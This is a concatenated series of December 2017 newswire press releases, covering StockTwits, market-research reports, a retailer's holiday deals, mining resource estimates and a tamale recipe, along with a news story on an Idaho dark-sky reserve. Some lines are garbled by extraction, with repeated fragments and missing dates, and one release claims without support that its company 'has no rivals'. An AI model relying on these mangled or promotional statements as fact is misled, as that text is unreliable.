"We are the investing platform for social natives, and the Discover feature will serve the most relevant information to our users in the format they are accustomed to," said Ian Rosen of StockTwits. "The new features are in line with our 'social-first' strategy, which has earned us a loyal base of users who spend as much time on StockTwits as others do on Facebook."

Among the new features are curated lists that showcase stocks of possible interest to the user and investments that they might want to make, based on market themes, what top investors are doing, and market data. Users will have the option to make trades directly from the app from major brokerages with a few simple swipes, the company said.

Another new feature of Discover is Highlights - curated content from the site, including groups of messages on market trends and breaking news. More than 150,000 messages are exchanged between StockTwits users every day, and the new feature will highlight some of the most important insights that are shared.

Earnings is one of the busiest times on StockTwits, so they have added a calendar to keep investors up to date during earnings season. StockTwits also added a breaking news section, so users can keep up on events that move markets without having to navigate away from the site.

"This is a community of individual retail investors that has been underserved by traditional brokers, asset managers and financial media. StockTwits is changing that," said Ian Rosen of StockTwits. "We are combining valuable market data with social functionality, and these new features will allow users to collaborate and share information like never before."

StockTwits has more than 1.1 million registered users, and several times that number of total engaged visitors. Both its user base and monthly visitors have grown by 50% year over year. The company has no rivals, as no others offer a platform with social components designed to appeal to the social natives.

About StockTwits

StockTwits was founded in 2008, and is the largest social platform for investors and traders. The company is also the host of events including the Stocktoberfest and StockTwits Future Forum Series. The StockTwits community consists of investors, traders, financial media, and entrepreneurs seeking to reimagine financial media and investing for the next generation.

Media Contact

Jake Katz

SSPR

[email protected]

SOURCE StockTwits
LONDON, Dec. 19, 2017 /PRNewswire/ --

Thailand sees extraordinary mobile broadband growth

The Thai telecom market is a complex commercial environment, with a mix of state-owned companies and private operators functioning under a wide variety of corporate and regulatory structures and interfaces.



Download the full report: https://www.reportbuyer.com/product/4247310



The fixed line market in Thailand remains underdeveloped and penetration has been declining over the past five years. A major reason for this is due to the dominance of the mobile segment and the growth of mobile broadband. The market is predicted to further decline over the next five years to 2022 as both mobile subscriber and mobile broadband penetration continue to increase.



The governments plans to invest 10 billion baht towards improving the nations telecom infrastructure as part of its digital economy strategy. The government aims to double Thailands internet-connected population to 40 million users by 2018.



In 2017 Thailands Ministry of Sciences & Technology, Ministry of Digital Economy & Society, and Huawei, jointly developed a digital roadmap to achieve its "Thailand 4.0" vision. The Road Map has been developed from a realization that digital technologies can drive socio-economic development and economic growth of countries.

Thailand's mobile market is relatively developed compared to other Asian markets and has experienced strong growth over the last five years. Very slow growth is predicted over the next five years to 2022 with annual growth rates further easing. The market will be constrained from higher growth due to a saturated mobile subscriber market and strong local competition.



Thailand has seen a very rapid increase in mobile broadband penetration over the past five years driven by strong growth of 4G mobile subscribers. Slowing growth is predicted over the next five years to 2022 as the market reaches a heightened state of maturity.



The Thailand market is now moving towards 5G. In April 2017, True Corp enlisted Ericsson to oversee what it hopes will be the country's first 5G trial.

Fibre-to-the-home (FTTH) continues to grow strongly in major metropolitan areas. AIS commercially launched its residential fibre broadband service, 'AIS Fibre' offering connection speeds of up to 1Gbps via FTTH.



The Thailand market has witnessed reasonably strong growth in the fixed broadband market over the past few years from a relatively small base. Fixed broadband penetration remains low mainly due to a limited number of fixed lines and the dominance of the mobile platform. Over the next five years to 2022 slower and declining growth is predicted.



The penetration of Internet users in Thailand has grown very strongly over the past five years driven by strong growth in mobile broadband. Slower but still moderate growth is predicted over the next five years to 2022 due to a maturing market.

Key developments:

The fixed line market remains underdeveloped and penetration has been declining over the past five years.

The fixed line market is predicted to further decline over the next five years to 2022.

A digital roadmap to achieve its " Thailand 4.0" vision has been developed.

4.0" vision has been developed. Thailand's mobile market has experienced strong growth over the last five years.

mobile market has experienced strong growth over the last five years. The Thailand market is now moving towards 5G.

market is now moving towards 5G. Thailand has seen a very rapid increase in mobile broadband penetration.

has seen a very rapid increase in mobile broadband penetration. Fibre-to-the-home (FTTH) continues to grow strongly in major metropolitan areas.

Over the next five years to 2022 slower and declining fixed broadband growth is predicted.

Key companies mentioned in this report:

TOT Corp; CAT Telecom; True Corp; True Move; TT&T; AIS; DTAC; Thaicom, Triple T Broadband; AIS; DTAC; Cable Thai (CTH).

Download the full report: https://www.reportbuyer.com/product/4247310



About Reportbuyer

Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers



For more information:

Sarah Smith

Research Advisor at Reportbuyer.com

Email: [email protected]

Tel: +44 208 816 85 48

Website: www.reportbuyer.com

SOURCE ReportBuyer

Related Links

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WASHINGTON, Dec. 19, 2017 /PRNewswire/ -- The California State University (CSU) has chosen EAB as its partner to improve outcomes for its almost 500,000 students. EAB announced that as part of the agreement, the CSU will provide its universities access to EAB Campus, a student success management system (SSMS).

EAB Campus enables students, faculty, administrators, advisors, and other professionals to work together to advance students' graduation and employment goals. Based on a decade of research, it combines commonly siloed solutions such as predictive analytics, an early warning system, communication and case management tools, and direct-to-student applications. In EAB Campus, these features are more effective because they are integrated in a single system, which helps students support their own success and seamlessly get the assistance they need from stakeholders across campus.

"Graduation Initiative 2025 is the California State University's ambitious initiative to increase graduation rates for all students and eliminate achievement and equity gaps," said Eric Forbes, Assistant Vice Chancellor for Student Academic Support at the CSU Office of the Chancellor. "To achieve our student success goals, it is critical that our campuses have access to an enterprise technology system that can improve coordination and enable us to be more proactive in the way we respond to our students' needs."

In addition to EAB Campus, the CSU will have access to 250+ student success best practices identified and documented by EAB research teams. The campuses will also be supported by dedicated EAB consultants, who will help them to maximize the benefit they get from the research and technology.

Strong results at eight CSU campuses currently using EAB research and technology to improve student success led the system to expand the partnership. CSU Fullerton, for example, increased graduation rates by 11 percentage points in three years and narrowed the graduation gap for underrepresented minority students by four percentage points. At a joint student success summit this summer at CSU San Bernardino, EAB members and experts shared lessons from several CSU campuses that are already working with EAB to improve student outcomes.

"We are extremely impressed by the work that leaders at CSU Fullerton, CSU Los Angeles, CSU Long Beach and elsewhere have been able to accomplish, and we are proud to have been able to contribute to their progress," said Scott Schirmeier, Executive Vice President at EAB. "Student success is a challenge that affects every office and student on campus. The schools that are improving outcomes are not only deploying progressive technologies like an SSMS, but working together to make sure all schools have the opportunity to learn about and implement best practices."

About EAB

At EAB, we are making education smarter. We harness the collective power of more than 1,200 educational institutions to generate insights that address education leaders' top challenges. Then we apply these insights through research, technology, and services: We help leaders find and enroll the right students through enrollment marketing and financial aid optimization. We support student success through our student success management system, which helps advisors, faculty, and staff guide students through school and to the post-graduate outcomes students want. And we provide institutions with the strategic guidance and data they need to improve mission-critical outcomes and prepare for tomorrow's students. For more information, please visit www.eab.com.

About the California State University

The California State University is the largest system of senior higher education in the country, with 23 campuses, 49,000 faculty and staff and 484,000 students. Half of the CSU's students transfer from California Community Colleges. Created in 1960, the mission of the CSU is to provide high-quality, affordable education to meet the ever changing needs of California. With its commitment to quality, opportunity, and student success, the CSU is renowned for superb teaching, innovative research and for producing job-ready graduates. Each year, the CSU awards more than 120,000 degrees. One in every 20 Americans holding a college degree is a graduate of the CSU and our alumni are 3 million strong. Connect with and learn more about the CSU at the CSU Media Center.

SOURCE EAB

Related Links

http://www.eab.com


WAYNE, N.J., Dec. 19, 2017 /PRNewswire/ -- In 2016, nearly 156 million Americans shopped on "Super Saturday" (the last Saturday before Christmas)  more than the number of consumers that shopped during Thanksgiving weekend*. So when last-minute shoppers are down the wire, they can count on getting gifts in-hand when shopping at a Toys"R"Us store  something no shipping membership can guarantee.

Customers who still have items to cross-off their list can take advantage of deals now through Wednesday, December 20.

BOGO 30% off all video games

BOGO 40% off all NERF Nitro and N-Strike

BOGO 50% off Disney Princess dolls, playsets and role play toys

BOGO 40% off all Crayola items

Then, beginning Friday, December 22, Toys"R"Us stores will open their doors at 6am (local time) and remain open through Sunday, December 24 at 9pm** (local time). During this last-minute dash, customers will be able to make the most of the company's Price Match Promise, as well as the option to choose In-Store Pick Up when shopping online.

Online shoppers can also take advantage of the company's Christmas Guarantee shipping options:

Wednesday, December 20 : Online orders placed before 3:00pm EST using Expedited Shipping , or before 11:59pm EST using Express Shipping are guaranteed arrival by December 24 *** .

Online orders placed before using , or before using are guaranteed arrival by . Sunday, December 24 : Online orders placed by 12pm EST using "Free In-Store Pickup" service, will be available for same-day pickup at their selected Toys"R"Us or Babies"R"Us store.

For more information about the company's holiday hours, deals or services visit the official Toys"R"Us blog, No Assembly Required or follow on social @ToysRUs and @BabiesRUs. For more information about our extended holiday return policy, visit https://www.toysrus.com/cobrand/help/returns-warranties

*National Retail Federation, 156 Million Americans Plan to Shop on Super Saturday (2016)

**Toys"R"Us stores in Paramus, NJ, and Fargo, ND, as well as Toys"R"Us Express and Outlet stores, will have varying store hours between 12/17-12/24. All store hours can be found online at Toysrus.com/StoreLocator

***Items that are not available to be shipped within 1-2 business days may not arrive by December 24. Only applicable to shipments within the continental United States. View the full Christmas Shipping Calendar for more details.

About Toys"R"Us, Inc.

Toys"R"Us, Inc. is the world's leading dedicated toy and baby products retailer, offering a differentiated shopping experience through its family of brands. Merchandise is sold in 881 Toys"R"Us and Babies"R"Us stores in the United States, Puerto Rico and Guam, and in 840 international stores and over 265 licensed stores in 38 countries and jurisdictions. With its strong portfolio of e-commerce sites including Toysrus.com and Babiesrus.com, the company provides shoppers with a broad online selection of distinctive toy and baby products. Toys"R"Us, Inc. is headquartered in Wayne, NJ, and has nearly 65,000 employees worldwide. The company is committed to serving its communities as a caring and reputable neighbor through programs dedicated to keeping kids safe and helping them in times of need. Over the past three decades, the Company has given more than $100 million in product donations to children's charities. Since 1992, the Toys"R"Us Children's Fund, a public charity affiliated with Toys"R"Us, Inc., has also donated more than $130 million in grants. For more information, visit Toysrusinc.com or follow @ToysRUsNews on Twitter.

SOURCE Toys"R"Us, Inc.

Related Links

http://Toysrus.com


LONDON, Dec. 19, 2017 /PRNewswire/ --

Download the full report: https://www.reportbuyer.com/product/5248738



The PTFE films market is projected to reach USD 542.6 million by 2022, at a CAGR of 4.4% from 2017 to 2022, in terms of value. This growth can be attributed to the increasing preference of PTFE films in medical & pharmaceuticals applications. In addition, excellent properties of PTFE films that include chemical inertness, low friction, high temperature tolerance, non-flammability, and high insulation are further contributing to the growth of the PTFE films market.

The demand for cast PTFE films is expected to increase in the next five years

Cast PTFE films are manufactured by depositing, sintering, and merging several thin PTFE films. All these processes result in the creation of a material with uniform properties. Cast PTFE films are designed to sustain in extreme thermal and chemical conditions. Thus, these films are increasingly used in highly corrosive applications. Cast PTFE films have a high elongation limit and are used in the development of aerospace components and wires & cables. They are also used for chemical processing and composite manufacturing.

Chemical processing represents the bulk of the demand for PTFE films

PTFE films are increasingly used in the chemical processing industry, owing to their thermal resistance property and ability to tolerate chemicals. PTFE films do not react with process streams, thereby preventing the contamination of products and preserving the purity of processing streams

The PTFE films market in the Asia Pacific region is expected to witness significant growth during the forecast period

The growth of the PTFE films market in the Asia Pacific region can be attributed to the increased demand for PTFE films in automotive and electrical & electronics applications. In addition, the presence of key manufacturers of PTFE films in the Asia Pacific region is another significant factor contributing to the growth of the PTFE films market in this region.

In the process of determining and verifying the market size for several segments and subsegments gathered through secondary research, extensive primary interviews were conducted as follows:

 By Company Type: Tier 1 (35%), Tier 2 (45%), and Tier 3 (20%)

 By Designation: C-Level (20%), Manager Level (50%), and Others (30%)

 By Region: Asia Pacific (51%), Europe (20%), North America (15%), and Rest of the World (14%)



Key players profiled in this report include Saint-Gobain (France), 3M (US), Nitto Denko (Japan), Rogers Corporation (US), Guarniflon (Italy), Technetics Group (US), Chukoh Chemical Industries (Japan), Lenzing Plastics (Austria), DUNMORE Corporation (US), and Markel Corporation (US).

Study Coverage

This report covers the PTFE films market, in terms of volume and value, and forecasts the market size till 2022. The report includes the market segmentation based on technology, application, and region. It also provides company profiles and competitive strategies adopted by key players in the PTFE films market.

Key benefits of buying the report:

This research report is focused on various levels of analysisindustry trends, market share analysis of key players, supply chain analysis, and company profiles, which together comprise and discuss the overall views on the competitive landscape; emerging and high-growth segments of the PTFE films market; high-growth regions; and market drivers, restraints, and opportunities.



Download the full report: https://www.reportbuyer.com/product/5248738



About Reportbuyer

Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers



For more information:

Sarah Smith

Research Advisor at Reportbuyer.com

Email: [email protected]

Tel: +44 208 816 85 48

Website: www.reportbuyer.com

SOURCE ReportBuyer

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CHICAGO, Dec 19, 2017 /PRNewswire/ -- The Vrdolyak Law Group, in partnership with the Russell & Clarke Youth Foundation, donated 1,250 Thanksgiving dinner baskets to families in need in Chicago. These baskets included a 12-pound turkey, side dishes, and a dessert, and were distributed on Saturday, November 18th, 2017 at two churches - the Greater Garfield Park Missionary Baptist Church and First Unity Missionary Baptist Church.

"We are happy to be able to help over 1,200 families who are not able to afford a Thanksgiving dinner," said Edward J. Vrdolyak, Managing Partner, Vrdolyak Law Group. "It means a lot to all of us at the Vrdolyak Law Group."

The employees of the Vrdolyak Law Group, along with their friends and family, made up the majority of the volunteers who prepared the baskets and distributed them from the two south-side and west-side churches in Chicago. They also gave out winter hats, first-aid kits, and phone chargers.

"Many families in Chicago can't afford a Thanksgiving meal. We want to do what we can to help them," said Richard Russell who is the founder of the non-profit Russell & Clarke Youth Foundation and a Vrdolyak employee, as well as a cancer survivor. "All I want to do is to give back to my community. I'm very grateful that the Vrdolyak Law Group created this wonderful opportunity to help those in need," Russell added.

This marked the second year of partnership between the law firm and the non-profit. They invite other churches and community organizations to join in the effort next year.

The Vrdolyak Law Group  founded in 1963, has grown into a Chicago legal landmark. It is recognized as a premier personal injury, medical malpractice, and workers' compensation law firm, with a team of 20 attorneys experienced in a wide range of other practice areas. The firm has three locations in Chicago, and is led by managing partner Edward J. Vrdolyak. http://vrdolyak.com/

SOURCE Vrdolyak Law Group

Related Links

http://www.vrdolyak.com


KETCHUM  Sun Valley will soon be known as more than Americas first ski destination.

A 1,400-square mile area encompassing Sun Valley, Ketchum, Stanley and the forests between is now a sanctuary for stargazers.

Dark sky proponents learned Monday evening that the Tucson, Ariz.-based International Dark-Sky Association will make that portion of central Idaho, which includes parts of Blaine, Boise, Custer and Elmore counties, the United States first Dark Sky Reserve.

The Central Idaho Dark Sky Reserve is the largest of 12 Dark Sky Reserves around the world, including those in England, Wales, France, Germany, Africa, Canada and New Zealand. It received certification for its exceptional starry nights and nocturnal environment.

The designation is designed to help preserve the skies above for future generations to enjoy.

Every year well have to look at the local lights to see if theyre in compliance. Every year well have to keep on improving so this is not a one-and-done deal, said Betsy Mizell, community engagement associate for the Ketchum office of the Idaho Conservation League.

Scientists estimate that 80 percent of Americans cannot see the stars due to light pollution, and that pollution is increasing 6 percent each year.

A new study published in Science Advances journal, showed that artificial light is negatively affecting the pollination of plants, the spreading of seeds by nocturnal creatures and reproduction and migratory patterns. Artificial light is also causing sleep disorders among some humans.

Were the reason for light pollution. And we are the ones who can solve it, said Mizell. ICL sent volunteers out earlier this year to take meter readings in different areas of the proposed reserve for the International Dark-Sky Association to consider.

We can turn lights off, Mizell said. We can install lights that dont shine into the sky.

The establishment of the Central Idaho Dark Sky Reserve could help pave the way for astrotourism in the Sun Valley and Stanley areas.

Ketchum Mayor Nina Jonas said she got a glimpse of the interest in space during the total solar eclipse on Aug. 21, which brought 400 members of the American Astronomical Society to Sun Valley.

John Baretine, program manager for the International Dark-Sky Association, says he sees a rising middle class in places like China that are eager to spend their money visiting out-of the-way places to see the night sky.

Mizell noted the designation might spur a dark sky festival, such as the Jasper Dark Sky Festival. That festival, held in mid-October, includes a Symphony under the Stars, dark sky photo tours, a sky trams star session and full moon hikes.

Astronomer Matt Benjamin, who teaches astronomy at the University of Colorado-Boulder, visits Sun Valley regularly, in part to view the stunning night sky.

I cant see what I see here at home because of the light from Denver. Even Rocky Mountain National Park has nothing close to the night sky you see here, he said. The Grand Canyon is impacted by lights from Phoenix and Las Vegas. Central Idaho is the last great place to see the stars so it makes sense to preserve it.

But, Benjamin says, protectors of the dark sky also need to beware of ambient light coming from nearby cities. The lights of Boise, for instance, sometimes cast a glow as far away as the Galena Summit overlook near Stanley.

Mizell said she hopes after the establishment of the Central Idaho Dark Sky Reserve, central Idaho leaders will talk with other communities like Boise and Twin Falls to find ways to cut down on light pollution.

Those measures include using shields to direct exterior light downward, rather than allow it to escape upwards. Wood River Valley residents now can display Christmas lights only between Nov. 20 and March 20.

The drive to preserve the dark night skies around Sun Valley started 18 years ago with Dr. Stephen Pauley, a retired ear, nose and throat surgeon who became enchanted with the celestial sphere during a sailing voyage in 1977 that took him from California to Hawaii. He navigated by the night sky, taking measurements with a sexton while his 10-year-old son, Clarke, kept time.

After moving to Sun Valleys Elkhorn neighborhood, he began training his Meade R8 reflector telescope on the starscapes he saw splashed across Sun Valley.

We wouldnt have a dark sky today if we had allowed light to creep up one light at a time, Pauley said. The night sky is definitely a quality of life issue. And, while it was a long process to get to where we are now, it was the right thing to do given the spectacular starscapes that residents of Sun Valley are exposed to almost nightly.

The City of Ketchum was also designated an International Dark Sky Community in late October, becoming just the 16th city in the world to receive that designation. Nearby Craters of the Moon National Monument became one of nearly 40 International Dark Sky Parks earlier this year.

The City of Ketchum is throwing a Winter Solstice Party to celebrate the recent designations from 5:30 to 7:30 p.m. Thursday, Dec. 21, at the Ketchum Town Square. The city is providing complimentary wine, beer and hors doeuvres at Starbucks on the square.

This latest designation is a tribute to all the people in the Wood River Valley and Stanley who wanted to watch the stars and have been careful about their outdoor lights, Pauley said.
SEATTLE, Dec. 18, 2017 /PRNewswire-USNewswire/ -- Washington State Medical Association (WSMA) President Donna Smith, MD, issued the following statement today:

"On behalf of the statewide medical community, the Washington State Medical Association extends its deepest sympathy to the victims, their families and everyone impacted by the tragic train derailment that occurred today in Washington state.

"Many of our physician members are helping to provide life-saving support in the hospitals and emergency rooms where care is being provided for those in need. We are grateful for their service and skill in times like thesewhen it matters the most.

"For our friends, neighbors and colleagues who want to helpblood donations are always needed. Please contact Bloodworks Northwest at 206.292.6500 or visit bloodworksnw.org/donate/locations to find out how and where you can donate blood. Thank you for your life-saving help."

About the WSMA

The Washington State Medical Association represents nearly 11,000 physicians, physician assistants, resident physicians and medical students in Washington state. The WSMA has advocated on behalf of the House of Medicine more than 125 years. Our vision is to make Washington state the best place to practice medicine and receive care.

SOURCE Washington State Medical Association

Related Links

http://www.wsma.org


VANCOUVER, Dec. 18, 2017 /PRNewswire/ - Tinka Resources Limited ("Tinka" or the "Company") (TSXV & BVL: TK) (OTCPK: TKRFF) Vancouver, Canada announces that the Company has filed an independent National Instrument 43-101 Technical Report (the "NI 43-101 Technical Report") on the Mineral Resource Estimate for the Ayawilca Property, Department of Pasco, Peru, in support of the Company's news release dated November 8, 2017.

The updated Inferred Mineral Resource estimate for the Ayawilca Zinc Zone has more than doubled since May 2016 and is now estimated to be 42.7 million tonnes grading 7.3 % zinc equivalent (ZnEq). In addition, Tinka announced an updated tin-copper-silver resource estimated to be 10.5 million tonnes grading 0.70% tin equivalent (SnEq). The Tin Zone and Zinc Zone resources do not overlap. Both of the Mineral Resources were assigned to the Inferred category and reported at an NSR cut-off value of US$55/tonne, as estimated by Roscoe Postle Associates Inc. of Toronto, Canada ("RPA Inc.").

Tinka is continuing to drill beyond the Mineral Resource boundaries looking for new zinc discoveries and/or extensions of known mineralization. On December 6, 2017, the Company announced a new discovery at Zone 3 with one hole intersecting significant mineralization of 10.3 metres at 5.9 % zinc, 2.0 % lead & 66 g/t silver from 570.2 metres, including 4.5 metres at 9.4 % zinc, 1.1 % lead & 45 g/t silver from 576.0 metres depth (see news releases Dec. 6/17).

Highlights of the Mineral Resource Updates

Inferred Zinc Mineral Resource of 42.7 million tonnes grading 6.0 % zinc, 0.2 % lead, 17 g/t silver & 79 g/t indium (7.3 % ZnEq), containing:

containing: 5.6 billion pounds of zinc;



3,361 tonnes of indium;



23.1 million ounces of silver; and



209 million pounds of lead.

Inferred Tin Mineral Resource of 10.5 million tonnes grading 0.63 % tin, 0.23 % copper, & 12 g/t silver (0.70 % SnEq) , including:

, including: 145 million pounds of tin;



53 million pounds of copper; and



4.2 million ounces of silver.

The Colquipucro Deposit Indicated Mineral Resource of 7.4 million tonnes grading 60 g/t silver and Inferred Mineral Resource of 8.5 million tonnes grading 48 g/t silver remains unchanged since the February 2015 mineral resource estimate.

Dr. Graham Carman, Tinka's President and CEO, stated: "The NI 43-101 report now filed includes all drill results up to October 10, 2017. Tinka plans to continue drill testing new areas, including Zone 3, with the aim of increasing the resources further. At the same time, we are de-risking the project with additional metallurgical and desktop mining studies leading to a PEA in 2018."

The NI 43-101 Technical Report was authored by Mr. David Ross, P.Geo. of RPA Inc., who is an independent "qualified person" as defined by NI 43-101. Mr. Ross has read and approved the technical contents of this release as it pertains to the Mineral Resource estimates.

The NI 43-101 Technical Report may be found under the Company's profile on SEDAR at www.sedar.com and on the Company's website at www.tinkaresources.com.

On behalf of the Board,

"Graham Carman"

Dr. Graham Carman, President & CEO

About Tinka Resources Limited

Tinka is an exploration and development company with its flagship property being the 100%-owned Ayawilca carbonate replacement deposit (CRD) in the zinc-lead-silver belt of central Peru, 200 kilometres northeast of Lima. The Ayawilca Zinc Zone Inferred Mineral Resource estimate now consists of 42.7 Mt at 6.0 % zinc, 0.2 % lead, 17 g/t silver & 79 g/t indium, and a Tin Zone Inferred Mineral Resource of 10.5 Mt at 0.63 % tin, 0.23 % copper & 12 g/t silver (this release). Drilling for resource extensions and the testing of new targets is ongoing. The qualified person, Dr. Graham Carman, Tinka's President and CEO, and a Fellow of the Australasian Institute of Mining and Metallurgy, has reviewed and verified the technical contents of this release.

Forward Looking Statements: Certain information in this news release contains forward-looking statements and forward-looking information within the meaning of applicable securities laws (collectively "forward-looking statements"). All statements, other than statements of historical fact are forward-looking statements. Forward-looking statements are based on the beliefs and expectations of Tinka as well as assumptions made by and information currently available to Tinka's management. Such statements reflect the current risks, uncertainties and assumptions related to certain factors including, without limitations, drilling results, the Company's expectations regarding mineral resource calculations, capital and other costs varying significantly from estimates, production rates varying from estimates, changes in world metal markets, changes in equity markets, uncertainties relating to the availability and costs of financing needed in the future, equipment failure, unexpected geological conditions, imprecision in resource estimates or metal recoveries, success of future development initiatives, competition, operating performance, environmental and safety risks, delays in obtaining or failure to obtain necessary permits and approvals from local authorities, community agreements and relations, and other development and operating risks. Should any one or more of these risks or uncertainties materialize, or should any underlying assumptions prove incorrect, actual results may vary materially from those described herein. Although Tinka believes that assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not guarantees of future performance and accordingly undue reliance should not be put on such statements due to the inherent uncertainty therein. Except as may be required by applicable securities laws, Tinka disclaims any intent or obligation to update any forward-looking statement.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release

SOURCE Tinka Resources Limited

Related Links

www.tinkaresources.com


SALT LAKE CITY, Dec. 19, 2017 /PRNewswire/ -- Tower Arch Capital is pleased to announce that it has recapitalized KNS International, LLC ("KNS", or the "Company") in partnership with its management team. KNS is a leading designer and distributer of branded footwear, jewelry, and home goods products with headquarters in Salt Lake City, UT.

Founder and CEO Jeremy Pope said, "Partnering with Tower Arch Capital will help us accelerate our growth and expand our branded product portfolio to our customers and enhance our dropshipping expertise. Tower Arch shares our vision of what KNS can become."

Dave Parkin, a Partner at Tower Arch, added, "We are thrilled to be partnering with Jeremy Pope, KNS President Michael Kelly, and the rest of the KNS team. KNS is a special company that stands out due to the dedication and commitment to their customers and retail partners. The Company has proven their ability to execute and optimize the online retail model and their expertise in developing brands that matter to consumers. We are excited about this next chapter of growth at KNS as we look to add branded products and expand their dropshipping array."

About KNS International, LLC

Founded in 2002, KNS has grown from the nascency of ecommerce and is at the forefront of online retail. The Company designs and distributes branded products across multiple categories, including products under Journee Collection and other brands, and is a preferred partner for national retailers looking to optimize inventory and expand online product offerings.

About Tower Arch Capital

Headquartered in Salt Lake City, UT, Tower Arch Capital is a lower-middle market private equity fund. They focus on partnering with and growing high-quality family and entrepreneur-owned companies to deliver long-term value for their management teams and investors. Tower Arch brings operational, consulting, and financial expertise to small companies to give them the tools they need to achieve their full potential. Tower Arch creates value in a range of industries and works with companies across the United States. Target investments include control positions in entrepreneur and family-owned businesses with revenue between $20 million and $150 million or EBITDA between $5 million and $25 million. For more information, please visit www.towerarch.com

SOURCE Tower Arch Capital

Related Links

http://www.towerarch.com


While tamales are a common dish throughout Central and South America, Ticos have their own twist on the recipe. Authentic Costa Rican tamales include rice, garbanzo beans and potatoes. They can also be made with chicken, beef, pork or a combination of these. For a new take on holiday dinner traditions, invite family and friends over, turn on the festive music and give this traditional chicken tamal recipe a go.

Costa Rican Chicken Tamales Recipe

The recipe below uses two whole chickens, but can easily be replaced with any meat of your choice.

Ingredients

Meat and stock

2 whole chickens, cut into pieces

3 bunches celery, cut in large chunks

2 red bell peppers, cut in chunks

2 onions, cut in slices

2 carrots, cut in large pieces

1 bunch of cilantro

1 bunch of parsley

Fresh oregano and thyme

Salt, pepper, Worchester sauce, annatto paste

1 garlic head

Oil

Tamales

6 cups ground corn masa

6 cups mashed potatoes

250 grams base of ground pork rind

1  cups pork lard

16 cups stock from the meat

Salt and pepper

3-4 Tbsp complete seasoning

Powdered hot chili pepper (optional)

1 tsp garlic powder

Fillings

Chicken meat

Rice cooked with annatto paste

Stuffed olives

Capers

Garbanzo beans

Sweet whole kernel corn

Strips of roasted peppers

Petit pois

Prunes

Raisins

Black beans

Peeled carrots, cut in julienne strips and cooked al dente with salt and sugar

Green beans, cut in pieces and cooked al dente with salt and sugar

Wrap

Clean plantain leaves

Butcher's twine

Instructions

In a heavy pot, in oil, fry chicken until golden brown. Then add 20 cups of water, which you will bring to a boil. Once boiling, add vegetables, garlic, Worchester sauce, salt and pepper. Cook on low heat, until chicken is tender. This should yield about 16 cups of stock, but you can add more water if necessary. Shred chicken by hand and reserve stock.

Mix ground corn masa and mashed potatoes together. In food processor, blend pork rind and pork lard with stock and add to masa. Process for a few minutes, until smooththe consistency should be like a soft porridge. Add complete seasoning.

Cut plantain leaves into 12 inch rectangles. Align the two leavesone horizontal, the other vertical. In the center of the leaves place a cup of corn masa, a piece of cooked chicken, a tablespoon of rice, 2 olives, 4 chickpeas, 1 tablespoon of corn, capers, raisins, one prune, a little petit pois, green beans, carrots, mashed beans and a slit of roasted pepper. For a vegetarian option, tamales can instead be filled with mashed potatoes, beans and vegetables.

To close the tamal, roll from the center and fold the edges towards the inside. Proceed likewise with the second plantain leaf and securely tie together with butcher's twine. Line the bottom of a large pot with extra plantain leaves. Fill the pot halfway with water, bring to a boil and add salt. Place tamales in water and cook for 45-60 minutes. Serve warm.

Traditionally, Costa Rican tamales are cooked over a firewood fire to enhance their flavors. Try this method and enjoy your tamal with a cup of coffee for a complete Tico experience.

For more information on Costa Rica, visit www.visitcostarica.com

About Costa Rica

Nestled between Nicaragua and Panama, Costa Rica offers visitors an abundance of unique wildlife, landscapes and climatesa trip to this Central American country is anything but run-of-the-mill. The country proudly shelters approximately five percent of the known biodiversity in the world and has become a global leader in sustainable practices. Visitors to Costa Rica enjoy a highly organized tourism infrastructure offering a broad terrain of activities and accommodations.

About Instituto Costarricense de Turismo (ICT)

Established in 1955, the Costa Rica Tourism Board (the ICT), alongside its partners in the private sector, spearheads the vital task of regulating and promoting Costa Rica's extensive tourism offerings.

SOURCE Costa Rica Tourism Board

Related Links

http://www.visitcostarica.com


LOS ANGELES, Dec. 19, 2017 /PRNewswire/ -- TravelCar, the global innovator in airport parking and carsharing for travelers, announced today it has expanded its US presence with the addition of Chicago O'Hare International Airport (ORD). This marks the third location for TravelCar offering its free airport parking solution which provides travelers free airport parking and helps them earn money by renting out their car to other travelers while they are away.

Chicagoans have been quick to adapt to the sharing economy, whether with bike sharing, home sharing and now car sharing. TravelCar's innovative car sharing platform and technology will help transform the way people think about getting to and from the airport in Chicago. While shuttles, private transfers and buses are still common practice, they are expensive. TravelCar's high quality, low cost mobility options, for both the person parking at the airport and renting a car at the airport, means travelers can spend less on transportation needs and have more in their pocket.

"Parking at O'Hare can cost as much as $17 a day. If you're traveling for a week, that can add up," said Ahmed Mhiri, CEO of TravelCar. "Just in time for the holidays, we're pleased to bring our free airport parking solution to Chicagoans and all Midwesterners flying in and out of O'Hare."

TravelCar, founded in Paris, France in 2012, launched in the United States this summer and rapidly expanded to 50 domestic markets, as well as Canada, with its paid airport parking offerings. The successful reception of its Los Angeles and San Francisco operations proved travelers are interested in a free parking and car sharing solution as a way to save on hefty airport parking fees. With three car sharing markets successfully under its belt, TravelCar plans to continue its aggressive expansion with 20 additional US markets next year. And with paid parking in 50 countries, TravelCar will add at least 15 additional countries in 2018, while continuing to increase its footprint in both United States and Canada.

For more information, visit www.travelcar.com.

About TravelCar

TravelCar is the world leader in airport based parking and carsharing services. Founded in 2012, TravelCar currently operates in 50 countries and provides travelers free parking at airports, train stations and city centers in exchange for renting out their cars to other travelers. TravelCar is known for investing heavily on customer service with a best in industry call center available 24 hours a day. TravelCar also brokers parking spots at an extensive network of parking facilities through travel agencies and its website travelcar.com. TravelCar has offices in beautiful France and sunny California. It has raised more than $22M in funds and continues to expand its global footprint.

SOURCE TravelCar

Related Links

https://www.travelcar.com


VANCOUVER, Dec. 19, 2017 /PRNewswire/ - Trilogy Metals Inc. (TSX/NYSE American: TMQ) ("Trilogy Metals" or "the Company") announces that a wholly-owned subsidiary of South32 Limited (ASX/JSE/LSE: S32) ("South32") has become a new significant shareholder of the Company owning approximately 6.5 million common shares of the Company or approximately 6% of the outstanding common shares. Rick Van Nieuwenhuyse, the Company's Chief Executive Officer has also increased his shareholdings of Trilogy Metals by approximately 1.7 million shares, owning approximately 2.8 million common shares of the Company or approximately 2.6%. South32 and Mr. Van Nieuwenhuyse have purchased shares from a previous shareholder.

